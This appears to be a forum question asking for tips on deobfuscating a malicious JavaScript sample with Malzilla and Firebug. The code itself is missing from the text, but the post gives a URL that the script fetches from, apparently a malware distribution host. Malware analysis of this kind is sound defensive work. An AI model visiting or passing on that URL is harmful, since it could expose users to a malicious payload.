Deobfuscate Javascript, script can't be compiled

I try to deobfuscate the following malicious Javascript with Malzilla:

I have tried to debug and got the error message "object is not a function":

. After some modifications, it was able to be compiled.

With the help of Firebug, I am able to see that this Javascript results some GET requests to

http://kopole4ilo9.cz.cc/i/ftp1

.
Can you give me some tips to continue my Javascript deobfuscation or some better way to deobfuscate this Javascript?
I have tried to replace eval with alert but it was not successful.
